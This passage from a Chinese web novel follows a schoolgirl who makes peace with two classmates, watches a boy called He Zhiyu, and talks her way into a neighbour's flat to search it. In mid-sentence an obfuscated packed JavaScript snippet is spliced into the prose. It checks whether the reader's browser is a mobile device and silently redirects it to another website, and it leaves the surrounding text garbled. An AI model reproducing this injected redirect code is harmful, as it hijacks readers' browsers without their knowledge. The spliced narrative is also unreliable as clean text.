说完后,她转回头,心里怪自己太老实,不该问必答。 何志宇平时总是独来独往,看人的时候喜欢目光从下往上扫,眼神阴恻恻的。她面对他时总觉得不舒服,要不是今天中午看到他脸色惨白,一副随时可能晕过去的样子,她都不会好心搭理他。 何志宇听完,脸色好了些,他机械地点点头,也不道谢,直接背起包,拎着东西出去了。 - 冯山月下午穿回了那件白色羽绒服,气定神闲地坐在位置上写卷子。 不远处,向明珠躲在王于英背后,悄悄打量冯山月。 向明珠小声说:“你陪我去。” 王于英把她拎到自己面前:“自己去,说错话的又不是我。” 向明珠一副欲哭无泪的表情。 中午在校门口闹的乌龙实在太丢人,她对冯山月的第一印象又十分可怕,总觉得自己去道歉,只会自取其辱,然后眼含热泪从教室跑出去。 王于英不知道是在鼓励她,还是替冯山月辩白:“别把人想得太坏。” 向明珠瞪她一眼——明明你上午看起来也挺怵她的,现在怎么倒戈了? 王于英直接轻轻推了她一把,向明珠刹不住,踉跄到冯山月面前。 冯山月抬头,对上一张欲言又止的脸,又低下头继续做题,显然不打算打理她。 向明珠支支吾吾了半天,突然开始往校服口袋里掏。 啪嗒! 她往冯山月桌上拍了一盒曲奇。 啪嗒! 然后是一包软糖。 啪嗒! 再然后是一小罐印着外文的巧克力。 放下之前她十分不舍地看了一眼,这还是她妈妈从国外带的,贵得要命,她剩了一盒舍不得吃,今天为了道歉算是下血本了。 最后,她把外套拉链解开,往内兜抓了一把。 随着噼里啪啦的动静,几袋辣条落在冯山月的书桌上。 冯山月思绪还在题目里,缓缓抬头。 王于英在旁边围观,仿佛能看见冯山月脑袋上飘起一个巨大的问号,她有点想笑。 向明珠直接在冯山月前面的位置上坐下了,侧着身子看她一眼,又低下头,表情悲壮,深呼吸了一下,随后语速飞快地开口。 “我叫向明珠,刚入学的时候比现在还要胖,他们都叫我‘像头猪’。我高二的时候给男生写了一封表白信,结果被他传给全班同学看了一遍,他说我是肥婆做白日梦,脱光了他都懒得多看一眼,然后把我的信丢到钱主任办公室去了。” 冯山月皱眉,张了张嘴想说话。 向明珠太紧张了,根本没注意她的表情,自顾自往下说:“对不起,我不该在校门口害你被人说闲话,不该不知道你家里的情况,就随便猜测。这些东西是送给你吃的,我刚才说的是我高中最糗的经历,如果你不解气,我还可以把我初中的事情告诉你。你笑我吧,笑出来我也好受一点。” 说完,她两只手搭在冯山月桌上,一俯身,额头贴在手背上,动作像在磕头,却没有抬起来。 走廊上人来人往,教室里同学们在闲谈着,声浪从四面八方而来,说不定也有人注意到她的动静,正在往这边瞧,准备看好戏。 唯独面前的人沉默着,没有动。 向明珠在来之前也存了点私心。 她想着,如果把自己最惨的事情说出来,要么冯山月顺势嘲笑,要么她同情之下,不好意思再责难自己。 说人可笑,和说人惨,都是居高临下的评判,被评判的人总会矮一头,以可恨或者可怜的姿态,要么承接对方的恶意,要么承接对方的怜悯。 前者自然痛苦,至少后者能稍微好受点,尽管滋味也是苦涩的。 可向明珠等了一会儿,却没听到冯山月开口。 也对,她那张脸看上去根本做不出“同情”这个表情,而更适合冷冷地盯着别人,说出讥讽的字词。 向明珠闭着眼睛,想起早上冯山月在米粉店里和人斗嘴时的伶牙俐齿,越发觉得前路灰暗,索性自己先骂自己几句。 她嗓子太干,声音像硬挤出来的:“我还可以给你念他们当时给我编的顺口溜。向明珠,像头猪,吃饭吃得呼噜噜……” 忽然,她感觉到胳膊下的课桌动了动。 先是那些零食被拨开带来的震动,随后是衣服摩擦桌面的声音,紧接着,她能感觉到冯山月在离她很近的地方趴了下来。 向明珠缓缓抬头,对上冯山月的眼睛。 她也学向明珠的样子,伏在桌子上,胳膊垫着脑袋,平视着向明珠,仿佛只是在和她讲悄悄话。 远处看热闹的人见此,收回了视线。 而冯山月的脸上,没有刻薄的讥讽,也不见泛滥的同情。 不如说,她根本不关心向明珠的感受,也不打算对她施加任何情绪。 恶意应当得到回击,施暴的人需要受到惩罚,这是她最朴素的价值观,她只关心一个最简单的结果。 冯山月认真地盯着向明珠,问:“所以你后来骂回去了吗?” 12.12 钱主任走进教室的时候,发现靠后门的地方格外热闹。 她朝那边看去,差点以为发生了校园霸/凌事件,一句怒喝到了嘴边,走进才看清她们的表情。 冯山月坐在位置上,窘迫而嫌弃地把上半身往后仰,手却被向明珠死死攥着。 向明珠泪眼汪汪,语气激愤,王于英在一边抱着胳膊,把头转了过去,没眼看她。 “我都跑到钱主任办公室哭了,她还是不同意,非要二姐去站操场。我的天,你知不知道当时外面有三十五度,多亏二姐身体好才没中暑。我问钱主任那个男的为什么不站,钱主任说他被打骨折了,在家躺着不敢来。他瞎说!真骨折他家里早就让二姐赔钱了,是他自己逃跑的时候摔伤的,还赖在二姐头上!” 向明珠还在和冯山月忆往昔峥嵘岁月,突然感觉周围安静了许多,一回头,钱主任正似笑非笑地站在她身后。 钱主任是为了找冯山月而来的。 早上她拎着人罚站的时候还不知道,中午和王于英的球队教练一交流,才发现王于英和冯山月的家里竟然有一段龃龉。 这件事学校里知道的人不多,教练原本没打算告诉别人,还是因为听说两个学生中午在校门口闹出的动静,才和钱主任提了一嘴。 钱主任整个中午心里都在打鼓,想着她把两个孩子拎到一起,生怕闹出什么事,先去找武老师问了一嘴,得知一上午两人相安无事,仍不放心,干脆亲自到一班来视察。 结果就看到这一幕,向明珠又在提她刚上高二时发生的事。 女生递情书被男生拒绝,原本在四中屡见不鲜,哪怕信纸都被丢到她办公室来了,钱主任也没打算计较。 谁知道那个男生嘴巴不干净,被王于英听见,转头和他吵了起来,结果发展成互殴,最后变成王于英单方面碾压。 如果不是钱主任罚王于英站了一下午操场,让男生家里人找上门的时候看到她满头是汗嘴唇发白地挨训,对方才不会那么轻易善罢甘休。 向明珠这个没心没肺的,根本不懂她的苦心,生怕这事传得不够广。 钱主任这么想着,故意拉下脸,果然吓得向明珠缩起来装鹌鹑。 直到她离开教室,班上的氛围才渐渐和缓,重新热闹起来。 冯山月注意到,钱主任走之前意味深长地盯了自己一眼。 一般这种眼神都是用来警告班上最顽皮的后进生,冯山月还是第一次被老师这么打量。 钱主任不愧做了这么多年教导主任,经验老辣,直觉准确,她不懂冯山月为什么转学,又为什么还能和王于英相安无事,但事出反常必有妖,她已经盯上了冯山月。 等再过一段时间,当冯山月在四中找人的消息传开,钱主任会盯她盯得更紧。 冯山月的手仍被向明珠攥着,迎着钱主任的目光,脸上却不显山露水,看不出心虚,也并不紧张。 等钱主任走后,向明珠和王于英才围上来,一个惊魂未定,一个心不在焉。 向明珠仍攥着冯山月的手,冯山月都快被她捏得失去知觉、彻底脱敏了,还是王于英发现这一点,帮她拨开了向明珠。 冯山月注意到王于英的目光落在她手腕上,心下了然——王于英是担心向明珠捏到她手腕上那些不存在的“伤口”。 她眨了眨眼。 王于英没去看冯山月的眼睛。 她不喜欢在冯山月面前提自己打架的事,总觉得这样会让她联想到自己那个杀人的爹。 结果向明珠刚才被冯山月问了一句,直接一口气把当初的情况全盘托出了,场面太尴尬,她都不想看,要不是钱主任出现,还不知道向明珠要讲到什么时候。 正郁闷着,突然发现冯山月正盯着她,神色正经,不像打趣,像在对她证明一道客观题:“你还说你之前挨打不是因为多管闲事。” 王于英其实很讨厌别人议论高二在校外发生的那件事,如果可以,她巴不得所有人都就此失忆。 冯山月不是知情人,她勉强可以原谅她的打趣,结果这人得寸进尺,又在这里旧事重提。 没完了是吧。 王于英瞪她:“放心,等你找人的事情传开,被钱主任抓去盘问,我绝对不多管。” 向明珠一听有情况,凑上来:“找谁啊?要不要我帮忙?” 刚才冯山月趴在课桌上,胳膊紧挨着她的手,小声问完她那一句之后,不知怎的,向明珠眼中的冯山月突然变得可爱起来。 当初王于英替她出头,她直接把王于英当恩人供了两年,死缠烂打之下成了王于英班上最好的朋友。现在她颇有对冯山月发起攻势的意思。 冯山月却很淡定:“不需要,已经快找到了。” - 整个下午,冯山月上课听课,下课做题,过得十分充实,没再往窗外看一眼。 放学铃响,她拎着书包出了教室,准备回梁阿姨的小饭桌。 下楼的时候她把手机打开,没有收到新的短信。 袁驰答应找题册后就没了音讯,看来他这一趟并不顺利。 在以前,只要他吃瘪了,冯山月就高兴。可不知道为什么,从教学楼一路走到校门口,她无意识地检查了好几次手机。 刚走出校门,她望着人群,突然感觉有个穿黑衣的高个子在她肩上拍了一下。 冯山月毫不惊讶,飞快地转头,刚想嘲笑一句“几岁了,还玩吓人这一套”,却发现面前是穿着黑羽绒服的王于英。 排球队课后要训练,直到晚自习才结束,王于英还记着护送冯山月上下学的使命,打定主意不让冯山月在四中这块地盘上出事,便一路追到了这里。 不知道为什么,王于英总觉得冯山月看自己的眼神有点……失望。 明明她站在校门口张望的样子像在等人。 看来等的不是她。 王于英不自在地捋了捋脑后的小辫,还是把想说的话告诉她:“我晚上要训练,送不了你。你存一下我的电话,万一那个拿钱包的人堵你,你就打电话给我。” 明明是同龄人,她这副操心的语气却能让她看起来比人家大了一个辈分。 冯山月皱眉看她,竟有些无语凝噎,半晌后才说:“你毕业后去当警察吧,或者去街道办居委会上班也行。” 王于英下意识接话:“我过不了政审。” 她妈妈在王勇斌出事以后就去找人问了,直系亲属坐牢影响孩子前途,考公过不了政审,为这事还难过了一晚上,好在考运动队不看这个,王于英劝了半天,终于把她妈给哄好了。 她解释的时候很平静,让这句话听上去有种地狱笑话般的黑色幽默。 一片尴尬的沉默在两人之间蔓延。 冯山月的情商告诉她,她不该挑起这个话题。 但她就没有主动认错的时候,绷着脸和王于英瞪了彼此半天,突然掏出手机:“你电话号码报一下。” 做到这一步,已经是纡尊降贵求和了。 王于英用拇指指尖去掐食指的指节,终于把她那点不合时宜的笑意憋了回去。 - 冯山月独自走到老小区门口。 一辆轿车停在路边,后座的车窗开着,一个女生趴在窗边往外看。 路过轿车的时候,冯山月侧头看了她一眼,两人对上视线。 是中午在画室画画的女生,说今晚飞华京参加校考的那个。 冯山月又看向前座开车的人,那张脸她也记得,白天宣传栏里见过,是给美术生带队的美术老师。 霎时间,她意识到什么,转头就往小区里走。 那个女生也觉得眼前的人眼熟,可此时冯山月的打扮和中午不同,她没有立刻认出冯山月,还要再看时,冯山月已经离开了。 脚步比刚才快了许多。 冬天还未结束,天黑得早,老小区里路灯的光很黯淡,把人的影子在地上拉得极长。 冯山月迎着冬天的冷风,越走越快,嘴里呼出白气。 她记得中午在画室听那个女生说,今晚她和何志宇都要坐飞机去华京。 既然她和画室的老师都等在老校区门口,那么极有可能,他们在等的人就是何志宇。 她没有猜错,出于那个原因,何志宇一定会回到小饭桌。 然而,在快到那栋居民楼的时候,她脚步又突然顿住了。 现在,光找到人没有用,她还要找证据。 万一太早暴露意图,只会打草惊蛇。 冯山月站在路灯下,光从头顶打下来,一双眼睛藏在眉骨的阴影中。 没过多久,她看到一个戴眼镜的男生从居民楼里出来,拎着行李箱,书包挂在箱子上。 他身形偏瘦,微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597627|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微驼背,走路时盯着地面。 他想去门口搭老师的车,必定会从冯山月身边经过,此刻正朝着冯山月走来。 冯山月把手揣进兜里,平复呼吸,平复血管中加速的血液,平复随着情绪起伏的脉搏。 没错,是这张脸,中午唯独他不在小饭桌里。 也是这个书包,中午在画室里见过。 冯山月慢慢地朝着居民楼走去,掏出手机,假装在打电话。 何志宇心事重重,没有注意到与他擦肩而过的人。 冯山月一路走到居民楼里,站住脚步,回头往远处看。 那个身影仍朝前走着,看上去没有察觉到任何异常。 - 客厅的大门被推开,暖色调的灯光映亮冯山月的脸,她的羽绒服上还裹着室外的寒气,面庞却已感受到室内的温度。 她走进门,把书包放在沙发上。 这次她回来得很早,一楼没几个学生,厨房里能听到梁阿姨整理餐具的声音,随后,她探出身子看了一眼,见是冯山月,朝她笑笑。 “阿姨炖了排骨,我记得你爱吃,一会儿多吃点。” 冯山月朝她礼貌地点头,一想到等会要对她说的话,有些踟躇,没有立刻上前。 梁阿姨却没注意她的情绪不对,直接转身又回到厨房里去。 冯山月站在原地,环视四周,没看见袁驰。 已经这个时间了,他还是没回来,也没有发消息。 她在心里冷笑。 估计是没脸来见她了。 这样也好,省得身边多一双眼睛,盯着她碍事。 她这么想着,终于往厨房走去。 梁桂香正望着煮汤的大锅发呆,直到冯山月走到身边,才回过神来。 她看到,这个平时冷淡而矜傲的小姑娘朝她露出极为难堪的神情,压低声音。 “梁阿姨,我卫生巾没垫好,裤子弄脏了,能不能借你家浴室洗洗。” 在边界感极强的人看来,这个请求是有些冒犯的,但梁桂香做惯了热心肠,哪里说得出拒绝的话。 冯山月吃准这一点,故意做出窘迫的姿态,果然看到梁阿姨心软了。 梁桂香看了一眼灶上的火,说:“行,你跟阿姨来。” - 二楼的浴室里,冯山月面无表情地看着花洒出水,把地板彻底弄湿,让雾气把镜子也罩住,终于把它关掉。 她根本没有来月经,更没有弄脏裤子。 但为了做戏做全套,她还是把脸和手都洗了一遍,给身上沾了些湿漉漉的水汽,也在浴室里营造出洗过澡的假象。 紧接着,她又拿着个梁阿姨给她的黑色塑料袋,装好了“脏衣服”。 随后,她推门出去。 二楼的大门关着,客厅空无一人。 冯山月是一中的好学生,是乖孩子,而梁桂香是个热情好客、性格豪爽的北方女人,对这个乖孩子十分信任,她要去一楼盯灶上的汤,索性把冯山月一个人留在了自己家里。 而此刻,冯山月拿着那包衣服,却在客厅站住脚步,开始四处张望。 不能耽搁太久,会让人起疑,她的时间很有限。 这间房子是三室一厅,两扇门都开着,只有一扇被关上了。 冯山月盯着那扇房门,刚想迈开脚步。 突然,她听到了有人上楼的声音。 直觉告诉她,这个人是朝着二楼来的。 上楼的速度很快,不像中年女人会有的动静,反而听起来像男生。 迈的步子很大,脚步声也很重。 袁驰这就买到题册回来了? 冯山月攥着塑料袋的手用力,不知道是在高兴还是在懊丧。 什么时候回来不好,偏偏这个时候来,还一回来就要找她。 也罢,大不了把她的意图对他透露些许,让他给自己望风。 横竖是他先摆出一副愿意给她当牛做马的姿态,她索性把他利用到底。 这么想着,冯山月在原地站住了,扬起下巴,看向大门,打算等袁驰敲了半天的门,再慢悠悠地给他打开。 可下一秒,她听见的是钥匙开锁的响动。 进来的人对上她的视线,愣住了。 他抬手去推眼镜,嘴巴紧张地抿了抿。 是去而复返的何志宇。